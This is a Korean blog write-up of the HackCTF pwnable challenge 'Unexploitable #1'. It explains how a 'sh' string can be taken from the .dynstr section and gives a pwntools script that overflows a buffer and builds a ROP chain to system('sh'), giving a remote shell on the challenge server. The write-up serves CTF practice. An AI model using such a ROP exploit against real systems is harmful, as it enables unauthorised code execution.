Studying Security

[HackCTF] pwnable: Unexploitable #1 풀이 본문

Wargame/HackCTF

[HackCTF] pwnable: Unexploitable #1 풀이

J4guar 2022. 4. 12. 10:33
728x90
반응형

Mitigation

Vulnerability Analysis

IDA disassembler를 이용해 main함수를 보자

<main>

심지어 gift라는 함수로 system@plt까지 주어졌다

<gift>

이제 필요한건 "/bin/sh"이라는 문자열인데 이를 어떻게 얻을 수 있을까?

여기서 활용할 수 있는게 .dynstr 영역이다

동적 linking을 위한 함수의 이름 정보들이 들어있는 공간이다.

IDA에서 해당 영역을 찾아보니 위와 같은 함수 이름들이 존재하는 것을 확인할 수 있다.

여기서 보면 'fflush'라는 문자열이 보이는데 fflush에서 뒤의 두글자 sh부분만을 이용하여 sh문자열을 획득할 수 있다

결론적으로 sh이라는 문자열은 0x4003bf에 위치하므로 exploit할 수 있는 모든 값들을 획득!

이를 토대로 exploit code를 작성해보자

Exploit code

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3023)
e = ELF("./Unexploitable_1")

system_plt = e.plt["system"]
pop_rdi = 0x4007d3
sh = 0x4003bf

payload = "A"*0x18
payload += p64(pop_rdi) + p64(sh) + p64(system_plt)
p.sendline(payload)

p.interactive()

Result

새로 접한 사실

.dynstr이라는 영역이 dynamic linking을 위한 함수 이름들이 존재한다는 사실과 이를 이용할 수 있다는 점

반응형

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] pwnable: Random Key 풀이  (0) 2022.04.12
[HackCTF] pwnable: RTC 풀이  (0) 2022.04.12
[HackCTF] pwnable: You are silver 풀이  (0) 2022.04.12
[HackCTF] pwnable: ROP 풀이  (0) 2022.04.12
[HackCTF] pwnable: Gift 풀이  (0) 2022.04.10
Comments